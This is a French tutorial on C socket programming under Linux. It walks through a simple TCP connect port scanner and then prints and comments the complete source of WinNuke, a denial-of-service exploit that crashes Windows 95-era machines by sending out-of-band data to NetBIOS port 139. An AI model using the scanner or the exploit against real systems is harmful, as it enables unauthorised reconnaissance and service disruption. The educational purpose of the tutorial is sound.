LES SOCKETS EN C SOUS LINUX


Les sockets en C sous linux

Dans cet article je vais vous expliquer les bases de la programmation des sockets en C sous LINUX, il vous faudra donc une connaissance minimale du C et le système Linux ou tout autre UNIX sur votre pc.

Avant de commencer, quelques rappel pour éditer et compiler un fichier sous linux. Pour éditer un fichier, tapez: vi <nom_du_fichier.c>. Pour y insérer du texte tapez :i, pour l'enregistrer tapez :w et pour quitter tapez :q ou :q! (si vous ne souhaitez pas enregistrer le fichier avant). Pour compiler votre fichier .c rien de plus simple tapez: gcc <nom_du_fichier.c> -o <nom_du_fichier>. Une fois compilé, vous pourrez éxécuter le programme en tapant: ./nom_du_fichier. Voilà pour les commandes minimale à connaître pour suivre cet article.

Ici, nous allons créer un scanner de ports. Chouette me direz vous... Oui sauf qu'il n'est là qu'à titre d'exemple et que la méthode utilisée n'est en aucun cas la meilleur et la plus rapide.
Il est coutume de comparer les sockets au téléphone, lorsque vous souhaitez téléphoner, vous installez tout d'abord le téléphone, puis ensuite vous décrochez, vous composez le numéro de téléphone à appeller et vous echangez des données (en parlant). Pour les sockets le principe est le même, vous déclarez une socket (installation), vous allez remplir une structure contenant les informations de l'ordinateur à appeller (numéro de téléphone) et ensuite échanger des données (parler). Pour cet article, l'échange de données ne sera pas expliqué (il n'est pas nécessaire dans l'exemple car ce n'est pas un client serveur).
Je vais directement vous donner le code source que je commenterai plus loin:


/* scan.c by alecs */
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[])
{
     int sck;
     struct sockaddr_in adsck;
     struct hostent *hptr;
     char *host;
     int port;
     int first_port;
     int last_port;
    
     if(argc != 4) {
         printf("usage: %s <host> <first_port> <last_port>\n", argv[0]);
         exit(-1);
     }
    
     host = argv[1];
     first_port = atoi(argv[2]);
     last_port = atoi(argv[3]);
    
     if((hptr = gethostbyname(host)) == NULL) {
         printf("invalide host\n");
         perror("gethostbyname()");
         exit(-1);
     }
    
     adsck.sin_family = AF_INET;
     bcopy((char *)hptr->h_addr, (char *)&adsck.sin_addr, hptr->h_length);
    
     for(port = first_port; port <= last_port; port++) {
         adsck.sin_port = htons(port);
    
         if((sck = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
             printf("can't create the socket");
             perror("socket()");
             exit(-1);
         }
    
         if((connect(sck, (struct sockaddr *) &adsck, sizeof(adsck))) < 0) {
             /* nop */
         }
         else {
             printf("%d ", port);
         }
         close(sck);
     }
     printf("\n");
     exit(0);
}


Voilà ledit programme, maintenant petite expliquation:


     if(argc != 4) {
         printf("usage: %s <host> <first_port> <last_port>\n", argv[0]);
         exit(-1);
     }

Ici rien de bien compliqué, on verifie le nombre d'arguments passés en ligne de commande qui doit être 1 (le nom du programme) + 3 autres.


     host = argv[1];
     first_port = atoi(argv[2]);
     last_port = atoi(argv[3]);

On attribut à host le nom de l'ordinateur auquel se connecter (on donnera le plus souvent une adresse ip). Ensuite on initialise first_port et last_port qui seront les limites des ports à scanner, ici on utilise atoi() pour convertir le type char * (argv[2] et argv[3]) en int (qui est le type des variable qui vont contenir argv[2] et argv[3]).


     if((hptr = gethostbyname(host)) == NULL) {
         printf("invalide host\n");
         perror("gethostbyname()");
         exit(-1);
     }

La fonction gethostbyname() va remplir la structure hptr et directement convertir host en big endian qui est en gros le type universel qui permet à n'importe quel machine sur l'internet de communiquer avec une autre. Petite expliquation de perror(): cette fonction récupère l'erreur qui est dans le stderr pour ensuite l'afficher à l'écran.


     adsck.sin_family = AF_INET;
     bcopy((char *)hptr->h_addr, (char *)&adsck.sin_addr, hptr->h_length);

Ici on remplit la structure adsck. Tout d'abord on indique la famille d'adresse, ici AF_INET (protocole Internet). Ensuite on utilise bcopy() pour copier les informations de la structure hptr (que nous avons rempli avec gethostbyname() !) vers adsck.sin_addr qui contiendra donc l'ip de la machine hôte (en gros ;)).


     for(port = first_port; port <= last_port; port++) {
         adsck.sin_port = htons(port);
    
         if((sck = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
             printf("can't create the socket");
             perror("socket()");
             exit(-1);
         }
    
         if((connect(sck, (struct sockaddr *) &adsck, sizeof(adsck))) < 0) {
             /* nop */
         }
         else {
             printf("%d ", port);
         }
         close(sck);
     }
     printf("\n");
     exit(0);

Bon là c'est la boucle qui va tenter des connexions sur chaques ports de la machine pour les scanner. Encore une fois je vous répète que ce n'est en aucun cas la bonne méthode et elle est lente :).
Avant d'essayer de se connecter, on indique le port sur lequel on veut se connecter (adsck.sin_port = htons(port);) on remplit donc la variable sin_port de notre structure avec le port courant (celui qui est incrémenté à chaque itération) en le convertissant avec htons() (conversion en big endian toujours). Ensuite on cré la socket avec la fonction socket() en lui passant la famille (AF_INET), le type (SOCK_STREAM pour le TCP) et le protocole qui est le plus souvent mis à 0 (NULL). Maintenant que la socket est créée, nous pouvons nous connecter avec la fonctions connect(). On lui indique le socket, la structure qui contient les informations sur l'hôte (dont l'adresse) et la taille de la structure. Si il y a connexion (enfin en liste d'attente) c'est que le port était en écoute et qu'il était donc ouvert, dans le cas contraire c'est qu'il est fermé. On ferme alors la socket et on recommence au port suivant.



Explication de Winnuke

Pour ceux qui ne le saurait pas encore (mieux vaut tard que jamais), winnuke est un programme qui permet de lancer une attaque de type Denial of Service (DoS) sur une machine équipée de windows3.x ou windows95 principalement. Ici je vais vous expliquer comment fonctionne ce programme et surtout pourquoi. Pour ceux qui connaissent déjà les sockets, la compréhension du code ne sera pas difficile mais si vous n'avez lu que mon article, une petite explication s'impose. Lorsque winnuke lance une attaque, il se connecte au port NetBios du pc (équipé d'un OS non protégé contre cette attaque), ensuite il envois un paquet spécial sur ce port, ce paquet est "hord bande" (out of band/OOB). Cela signifie que c'est une donnée urgente qui passe avant les autres datagrammes qui ne sont pas out of band. Le problème vient du fait que windows95 ne sait pas gérer de tels paquets, et lorsqu'il en reçois cela provoque une erreur fatale (ce qui fait en gros planter votre pc). Voilà le code source en question que j'ai commenté:


/* winnuke.c - (05/07/97) By _eci */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#define dport 139 /* Port NetBios sur lequel lancer l'attaque DoS */

int x, s;
/* C'est la chaine de caractere à envoyer en OOB apres la connexion, son contenu n'a aucune importance */
char *str = "Bye";
/* cf. mon article sur les sockets... */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;

int open_sock(int sock, char *server, int port)
{
    /* cf. mon article sur les sockets... */
    struct sockaddr_in blah;
    struct hostent *he;
    bzero((char *)&blah,sizeof(blah));
    blah.sin_family=AF_INET;
    blah.sin_addr.s_addr=inet_addr(server);
    blah.sin_port=htons(port);

    /* cf. mon article sur les sockets... */
    if ((he = gethostbyname(server)) != NULL) {
        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
        if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
            perror("gethostbyname()");
            return(-3);
        }
    }

    if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
        perror("connect()");
        close(sock);
        return(-4);
    }
    printf("Connected to [%s:%d].\n",server,port);
    return;
}

void main(int argc, char *argv[])
{
    if (argc != 2) {
        printf("Usage: %s <target>\n",argv[0]);
        exit(0);
    }

    /* cf. mon article sur les sockets... */
    if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
    }

    open_sock(s,argv[1],dport);

    printf("Sending crash... ");
    /* Ici on envoi le paquet contenant la chaine de caractere en message hord bande (out of band)
     * ce qui provoque le plantage de la machine cible si elle est pas protégé contre ce type
     * d'attaques */
    send(s,str,strlen(str),MSG_OOB);
    /* usleep permet de suspendre l'application pendant x microsecondes (ici 100000), ce qui permettra de
     * ne pas stopper le programme trop brutalement */
    usleep(100000);
    printf("Done!\n");
    close(s);
}


Voilà, je n'ai pratiquement rien commenté car ce DoS est ultra simple et vous pouvez comprendre le code source sans problème si vous vous référez à mon article sur les sockets (plus haut).